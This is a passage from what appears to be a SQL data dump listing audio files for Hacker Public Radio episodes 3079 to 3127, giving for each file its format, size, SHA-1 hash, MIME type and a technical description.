(3079,'hpr3079.spx','spx',17627896,'8ad4e3389d54daae2e64e4875aafcc811ce0e526','application/ogg; charset=binary','Ogg data, Speex audio'),
(3080,'hpr3080.mp3','mp3',4650152,'f9a3195068f1d4efed9a2dc6b633bc0d53e485f1','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3080,'hpr3080.ogg','ogg',5232261,'65b2900816c6636ea5b46e43f499525c308da4ec','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3080,'hpr3080.spx','spx',2076551,'10b6fdee4e8eb2f767b62a9f1b64f7ec1a93dabd','application/ogg; charset=binary','Ogg data, Speex audio'),
(3081,'hpr3081.mp3','mp3',10120434,'5b3150d6c6f3161e57afca2663c87766a8c0140c','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3081,'hpr3081.ogg','ogg',9734934,'04a57e26703895ad7957c564592de66ff05c475e','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3081,'hpr3081.spx','spx',4519636,'0bb831250d3508440392893a927762c0a6978863','application/ogg; charset=binary','Ogg data, Speex audio'),
(3082,'hpr3082.mp3','mp3',17588363,'541f2f1c31a1cdc5124866f81103e8c919808b5f','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3082,'hpr3082.ogg','ogg',18377782,'92e0bacd986a4ea4c45f5b07f3df4cd5b2813add','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3082,'hpr3082.spx','spx',7854991,'4a21c79745804f1821f0c28c85c2e8e30b92a67e','application/ogg; charset=binary','Ogg data, Speex audio'),
(3083,'hpr3083.mp3','mp3',25323710,'31b460729d393129463fde92063e2c2f0d0be07e','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3083,'hpr3083.ogg','ogg',27242991,'225d4f89f6df24b0246dc17e918796567cbb653b','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3083,'hpr3083.spx','spx',11309563,'88b10d9fed58e91867cc5e93bf9ab65269d7788b','application/ogg; charset=binary','Ogg data, Speex audio'),
(3084,'hpr3084.mp3','mp3',48532397,'3fa947abfef1059e5a0c5a83ea493c8cfb752f5a','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3084,'hpr3084.ogg','ogg',53508587,'4773ac874626d035186c6ca9f6ff65a4de6ad5a2','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3084,'hpr3084.spx','spx',21674875,'b2f960b8e62910f8b6ffa8c86803f811e2c9bb9f','application/ogg; charset=binary','Ogg data, Speex audio'),
(3085,'hpr3085.mp3','mp3',10339894,'dd5d99f5ec3ca8907215bc0245b17fe38efa87df','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3085,'hpr3085.ogg','ogg',11598538,'be4c4547bcd64bdd2e5d1421c6681b8b40a7aecb','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3085,'hpr3085.spx','spx',4617656,'b20773514955d37629f91c16313bb40cff7af83e','application/ogg; charset=binary','Ogg data, Speex audio'),
(3086,'hpr3086.mp3','mp3',27240690,'6aa061b11a9bb8c3d41cafce58054d82bccce9bd','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3086,'hpr3086.ogg','ogg',26684937,'9d96dd58c0b3b3bc03da5f5ca3d3485c8a0251bb','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3086,'hpr3086.spx','spx',12165777,'c2f3e5d4d6b3b5766ab0a1cd8c6233d38b644707','application/ogg; charset=binary','Ogg data, Speex audio'),
(3087,'hpr3087.mp3','mp3',1279101,'ea154f4e2a067477bec40e0d4a167cf5860d0d1c','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3087,'hpr3087.ogg','ogg',1348978,'5db1aada7f36d44f05c5861a464cf97cd6af1501','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3087,'hpr3087.spx','spx',571012,'391a70c04ba0415b47580ed7ade0dca6c68c359e','application/ogg; charset=binary','Ogg data, Speex audio'),
(3088,'hpr3088.mp3','mp3',3656539,'fac7b14868d474ad815e78045bd4cd9f1ea77c99','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3088,'hpr3088.ogg','ogg',3720098,'5281e190e1d63c4a8ae61b60a723d1bd676909e3','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3088,'hpr3088.spx','spx',1632820,'f2659ce7d3ad745c0ceedc48489fc41546732fb1','application/ogg; charset=binary','Ogg data, Speex audio'),
(3089,'hpr3089.mp3','mp3',4546308,'f0b928f2769a4baead634f91d7ee11e67de98591','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3089,'hpr3089.ogg','ogg',4672735,'ee2a14a3dfae3922a064e2be1198b43cc593b9a4','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3089,'hpr3089.spx','spx',2030123,'35801bd246683b5c9e269c4fc5fe076274236474','application/ogg; charset=binary','Ogg data, Speex audio'),
(3090,'hpr3090.mp3','mp3',20267411,'0b44d7d153423c8aa98b7d94ec64c6cfa80232ff','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3090,'hpr3090.ogg','ogg',23280674,'92cf80bb0323f37f2e12adbadfea778a158d4a3b','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3090,'hpr3090.spx','spx',9051312,'581aaac59af9f302754ca6fa698bbbffc67d958b','application/ogg; charset=binary','Ogg data, Speex audio'),
(3091,'hpr3091.mp3','mp3',22178540,'071cb1600c4fd6b4ef5e6cb469c5d19a933ee2a9','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3091,'hpr3091.ogg','ogg',24300479,'316cbc50c410bdbb20396479cdb37370c3fae748','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3091,'hpr3091.spx','spx',9904898,'b21c935f0f5d4feda181bee7e0f73da9dac67f15','application/ogg; charset=binary','Ogg data, Speex audio'),
(3092,'hpr3092.mp3','mp3',11236577,'20199ea710866e2d1029ebd78d0e094e8485ba65','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3092,'hpr3092.ogg','ogg',12162746,'d498b1591834f739044ae4c04e098403e9174b68','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3092,'hpr3092.spx','spx',5018128,'211eea9529ad1b30bb06be9e62b554e81c124e34','application/ogg; charset=binary','Ogg data, Speex audio'),
(3093,'hpr3093.mp3','mp3',4719425,'f3f4e7ef9463676fd2869c957cbc4c26caa6fa22','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3093,'hpr3093.ogg','ogg',5760635,'b2904c9da7d4a868d57c7156e2846a13714e6c3d','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3093,'hpr3093.spx','spx',2107513,'1a6bfeaad8710b9716929ec7b3783ed3a80779be','application/ogg; charset=binary','Ogg data, Speex audio'),
(3094,'hpr3094.mp3','mp3',2572316,'56a4542cec301f499c4ef0d3fbb91851c73ff101','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3094,'hpr3094.ogg','ogg',2864271,'62e35a2586573f687de5b4dd0031de2f635d0813','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3094,'hpr3094.spx','spx',1148583,'e984a10d7c0af3fa0d8f110074c6c8085d3f42cc','application/ogg; charset=binary','Ogg data, Speex audio'),
(3095,'hpr3095.mp3','mp3',9646021,'d551c7fc8633297b83aa7253e7f0913a2a9c5a05','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3095,'hpr3095.ogg','ogg',10964903,'ef35e136fecb2255b49d65181e1c1dba6215bddb','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3095,'hpr3095.spx','spx',4307741,'7f2f9f956b6dd9607d62142de5f587b311132527','application/ogg; charset=binary','Ogg data, Speex audio'),
(3096,'hpr3096.mp3','mp3',12062965,'2490bd4708dc2291f8cfc2473328785a324410b6','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3096,'hpr3096.ogg','ogg',12304404,'cb710ec9d6fba3742fe96a219efb51be11e73510','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3096,'hpr3096.spx','spx',5387203,'379c56e432f0b7767634251b8b480338f9fc3900','application/ogg; charset=binary','Ogg data, Speex audio'),
(3097,'hpr3097.mp3','mp3',32358377,'3fb4222319cfe69a7af28065a9447ca0ea879978','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3097,'hpr3097.ogg','ogg',34452037,'05f05ea022a6ce9a0800556b15eef2233bd6435a','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3097,'hpr3097.spx','spx',14451331,'cad34bcaffb21da4180b2b5ce8c8cc416a52bca5','application/ogg; charset=binary','Ogg data, Speex audio'),
(3098,'hpr3098.mp3','mp3',2726151,'9c39411b32dffac0ab9768cdfecfb44485b66048','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3098,'hpr3098.ogg','ogg',2705348,'acb81d952078e7f65210cda73a3e9f96cf0b616e','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3098,'hpr3098.spx','spx',1217272,'7b7deb9084a14038bdbe03e6bd0802f6bc66918c','application/ogg; charset=binary','Ogg data, Speex audio'),
(3099,'hpr3099.mp3','mp3',23150345,'faf67e4b3b12bf2e3c395744d764a25ddb7c1412','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3099,'hpr3099.ogg','ogg',24305860,'e8fd80b0b9b588de517e1a6a3103180b97203427','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3099,'hpr3099.spx','spx',10338912,'a2981fdb13fa2daa373eea69c98be1fd0515e9fe','application/ogg; charset=binary','Ogg data, Speex audio'),
(3100,'hpr3100.mp3','mp3',37481328,'48bfbf2a66b88fd57235cd4722c5137113fffa07','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3100,'hpr3100.ogg','ogg',43611820,'3d67c4b396455dc332f9dd4f7e4afb4b85025325','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3100,'hpr3100.spx','spx',16739296,'59b56fdabb31b9d2aa0993a91892077efdfd27c4','application/ogg; charset=binary','Ogg data, Speex audio'),
(3101,'hpr3101.mp3','mp3',13574851,'5f70ab30f277f5978b8cce418de26c3a3dbb0147','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3101,'hpr3101.ogg','ogg',14887576,'a4733e5a4a63c3e0c7b08786c083e56f2af582fd','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3101,'hpr3101.spx','spx',6062321,'80f275c9face565341a48eae911c3e2af0ed86b6','application/ogg; charset=binary','Ogg data, Speex audio'),
(3102,'hpr3102.mp3','mp3',7939166,'5919f111512f0320696a998a103aa8805f98b19f','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3102,'hpr3102.ogg','ogg',8106057,'e212d27c2e7e6bfd4ecfad947d0d9f6f6626d29d','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3102,'hpr3102.spx','spx',3545449,'cb6181fe4fde08a4a380112f89df0a609f34dd53','application/ogg; charset=binary','Ogg data, Speex audio'),
(3103,'hpr3103.mp3','mp3',1901691,'fe013dfde915f37e3f203e5cc84397aea8b9aa74','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3103,'hpr3103.ogg','ogg',2077086,'a29ac2bd99e372865bf01d1166ea882f4e68a7da','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3103,'hpr3103.spx','spx',849024,'5bdf0fe016cac7afa35500b945d7d2066230cdcf','application/ogg; charset=binary','Ogg data, Speex audio'),
(3104,'hpr3104.mp3','mp3',61319655,'4679c217cae156fcc346086c68e6ad9232d65eb0','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3104,'hpr3104.ogg','ogg',65902858,'339f475ea139b41f8fcc0cfc1573d68abf313f01','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3104,'hpr3104.spx','spx',27385786,'c01d1acf085a96fe453c8b21436523c567d6b5fc','application/ogg; charset=binary','Ogg data, Speex audio'),
(3105,'hpr3105.mp3','mp3',9257359,'e6c56d0aa3a7f272c5a72a8fed8b4eed4158d9fd','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3105,'hpr3105.ogg','ogg',10716240,'c3089da53db6ce61575c6cede65c4e8fa69eb5d0','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3105,'hpr3105.spx','spx',4134144,'2bb1e2a8cbbb9f025753d1eb52e1aac327576cdb','application/ogg; charset=binary','Ogg data, Speex audio'),
(3106,'hpr3106.mp3','mp3',32006862,'5a0473594346e09a1ab8a8c25dbe5b1241a382d6','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3106,'hpr3106.ogg','ogg',28982574,'159134c86f2b520403fe409914b93df67eec7332','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3106,'hpr3106.spx','spx',14294334,'b87250ad90f4f79adb4ea8b5b9ac53480c21462b','application/ogg; charset=binary','Ogg data, Speex audio'),
(3107,'hpr3107.mp3','mp3',15555775,'3748ed8596579581d6038f285887f6a27be838ee','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3107,'hpr3107.ogg','ogg',14309432,'2defdeb6537e03af768989d035a9e8b20f22eece','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3107,'hpr3107.spx','spx',6947119,'68b959bb51c73e124c18e9944ff67e66b92ecb18','application/ogg; charset=binary','Ogg data, Speex audio'),
(3108,'hpr3108.mp3','mp3',26345404,'03ebf055a8dced9ab62bbe692a9d873a341475fe','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3108,'hpr3108.ogg','ogg',29639100,'b99a7a9cce5b33d2b96b6093cf93b643d8c86c4f','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3108,'hpr3108.spx','spx',11765878,'21d0c2c077d91cfd70c29250e2acc6401d11dfc1','application/ogg; charset=binary','Ogg data, Speex audio'),
(3109,'hpr3109.mp3','mp3',3450273,'574cbd47e805046658ae02cf314662e8387cad18','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3109,'hpr3109.ogg','ogg',3363918,'b594b546ff9b440598c2c6730d9027baf44e0e00','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3109,'hpr3109.spx','spx',1540704,'2321edfe52a65aef2ff4cdbf079f1b39fab57edf','application/ogg; charset=binary','Ogg data, Speex audio'),
(3110,'hpr3110.mp3','mp3',19388073,'26eed0e54ca089e157dee1b6540a3a66331be75d','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3110,'hpr3110.ogg','ogg',20820847,'01bb28456c12b92de36379be3d7210feb439c912','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3110,'hpr3110.spx','spx',8658633,'876f7b1c0b8dd5f82692389f7bdf8300a3e62247','application/ogg; charset=binary','Ogg data, Speex audio'),
(3111,'hpr3111.mp3','mp3',29999039,'7e94c5dc1bf1b9fc929aa6ce82f523fce2dce82e','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3111,'hpr3111.ogg','ogg',30386449,'d6a82b038aeca141b5571d561d6ec62bcab1a131','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3111,'hpr3111.spx','spx',13397657,'b4348886660f8c144f9bbcd87c928f3753805463','application/ogg; charset=binary','Ogg data, Speex audio'),
(3112,'hpr3112.mp3','mp3',5430141,'d5f6301025000ae408364a8415f1cfab44ac88dd','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3112,'hpr3112.ogg','ogg',5670851,'db469d27827973a1321e7dfa48e18f318075bb1d','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3112,'hpr3112.spx','spx',2424924,'ae4317ea2c9cd40eaf07dc1e3b95914fcaf51b60','application/ogg; charset=binary','Ogg data, Speex audio'),
(3113,'hpr3113.mp3','mp3',7506719,'9d203c1d563db7ef1243ad039f6b2185db8d260b','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3113,'hpr3113.ogg','ogg',8367003,'e1f6688621f1be93d5a952c43cd4006acdd12c21','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3113,'hpr3113.spx','spx',3352320,'8afad72a3a2d2e393b9e9e57ce82fdeaefb1359d','application/ogg; charset=binary','Ogg data, Speex audio'),
(3114,'hpr3114.mp3','mp3',6499661,'5958d644c90ae94d58c28744d73e05a45d4a4300','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3114,'hpr3114.ogg','ogg',7214583,'17dae55395963cd3497866f87c7937e1354fcd27','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3114,'hpr3114.spx','spx',2902572,'7fee1a7f7ae9f640a7132793797f9a98276e6782','application/ogg; charset=binary','Ogg data, Speex audio'),
(3115,'hpr3115.mp3','mp3',19452158,'1b29de9b33bdb1e4aff97f907d5ba2c50fd1d21a','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3115,'hpr3115.ogg','ogg',23466740,'afc1d355e7492ae93447bf609dbb43ac61f78e6f','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3115,'hpr3115.spx','spx',8687220,'6d8e679f3be03ce8a802c6e6a94b4452d13c6db2','application/ogg; charset=binary','Ogg data, Speex audio'),
(3116,'hpr3116.mp3','mp3',10271565,'e480d760df00db8e216cadc7cc59cd374b908880','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3116,'hpr3116.ogg','ogg',10554709,'d3768a6c65a9c06070e88fdee8b8a71b473a77d6','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3116,'hpr3116.spx','spx',4587130,'ac3b2f784764537ec564685e5a7b83ba4d3b9cc9','application/ogg; charset=binary','Ogg data, Speex audio'),
(3117,'hpr3117.mp3','mp3',16487027,'0f2797a834c803faae28d18251e5975b1dd0a149','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3117,'hpr3117.ogg','ogg',17974528,'641a886010eb676edc3874491629cb7f605abe98','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3117,'hpr3117.spx','spx',7362980,'758c3396b7170216f68ccfb724a254222829b673','application/ogg; charset=binary','Ogg data, Speex audio'),
(3118,'hpr3118.mp3','mp3',44721442,'be4fc39bf95f3a932a9e9d605504f42b1254d71b','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3118,'hpr3118.ogg','ogg',43152804,'a2c2b54ffd332fd1e3a68fb95378228786bc6029','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3118,'hpr3118.spx','spx',19972842,'0cfc8449eef01cb3ee5f71b6bcad36463cf218c7','application/ogg; charset=binary','Ogg data, Speex audio'),
(3119,'hpr3119.mp3','mp3',20588629,'d48a14afd9bbfddf07f6fff896ac70b510e2a7cb','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3119,'hpr3119.ogg','ogg',23204440,'8bd4ab8705dbd890d5281d2aea5f66b2890fb644','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3119,'hpr3119.spx','spx',9194885,'ca80a60aa6c096eba498bb2b56af32da85b10f1d','application/ogg; charset=binary','Ogg data, Speex audio'),
(3120,'hpr3120.mp3','mp3',23309577,'79886fdf0e11763c73637af941def7ff4e8906ea','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3120,'hpr3120.ogg','ogg',25341597,'70a1aa2f356e3b9efb308f2894140f34731783eb','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3120,'hpr3120.spx','spx',10410006,'ea4a753d30bd982049e3d57052b3286688c8b307','application/ogg; charset=binary','Ogg data, Speex audio'),
(3121,'hpr3121.mp3','mp3',16081781,'357fbd95e6489d2a120e5b0c98cbe98b7f423b72','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3121,'hpr3121.ogg','ogg',17316480,'b73f8921a7183d8c732893907dc06def1fb3a492','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3121,'hpr3121.spx','spx',7182013,'16592d5d77014730fa613bf03cc135f77c3117ee','application/ogg; charset=binary','Ogg data, Speex audio'),
(3122,'hpr3122.mp3','mp3',17839286,'bfe1e13a45f6b319e8cab872352225ab28a79cb0','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3122,'hpr3122.ogg','ogg',20362418,'9a4c6ed22883295369f1344cdde92cb635f67518','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3122,'hpr3122.spx','spx',7966956,'85fdfdfddbc17623f21511af9cea89ed6d3b997d','application/ogg; charset=binary','Ogg data, Speex audio'),
(3123,'hpr3123.mp3','mp3',2564144,'0fbb79cf76bb010933c05580770cec94a840efda','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3123,'hpr3123.ogg','ogg',2837467,'0e60018e15c242ede59b3b119700b9a5d8680af2','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3123,'hpr3123.spx','spx',1144913,'ee9431ef65ec9a79720b15997a87761862a7553b','application/ogg; charset=binary','Ogg data, Speex audio'),
(3124,'hpr3124.mp3','mp3',3720280,'e6060c5b4b66a2e5c3c52da9d4f53b0243e7bbad','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3124,'hpr3124.ogg','ogg',3928365,'c7098965c61441b24f3096971c141d086e599ba9','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3124,'hpr3124.spx','spx',1661243,'e34584f6a9176cdbe8cd1916b88d3fa17fa5dc88','application/ogg; charset=binary','Ogg data, Speex audio'),
(3125,'hpr3125.mp3','mp3',7432097,'1b3871ea06b6a2e1e0ea279b36c1eb8e4c19667c','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3125,'hpr3125.ogg','ogg',8357119,'f4362dbe0edcf56d7354dd834c599a040b2ba3f5','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3125,'hpr3125.spx','spx',3319002,'36c403fde0cc8bd6f87011d6db1b3dc9aa4ecd49','application/ogg; charset=binary','Ogg data, Speex audio'),
(3126,'hpr3126.mp3','mp3',16879216,'9034039ef5573987cdf24d98e1927a12ed0ee7cc','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3126,'hpr3126.ogg','ogg',17217997,'aa7ba061a3df251edef6690506dc9e3d6b103f64','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3126,'hpr3126.spx','spx',7538185,'68c6bd92235bbf4b06d07f9af38471897e2e7af5','application/ogg; charset=binary','Ogg data, Speex audio'),
(3127,'hpr3127.mp3','mp3',73500845,'b737b6333885f7e168ad89c831ec7ae7f1d7b2c3','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3127,'hpr3127.ogg','ogg',77590477,'c81c617cf0b671c7f27167471d2f9823b4d961d7','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
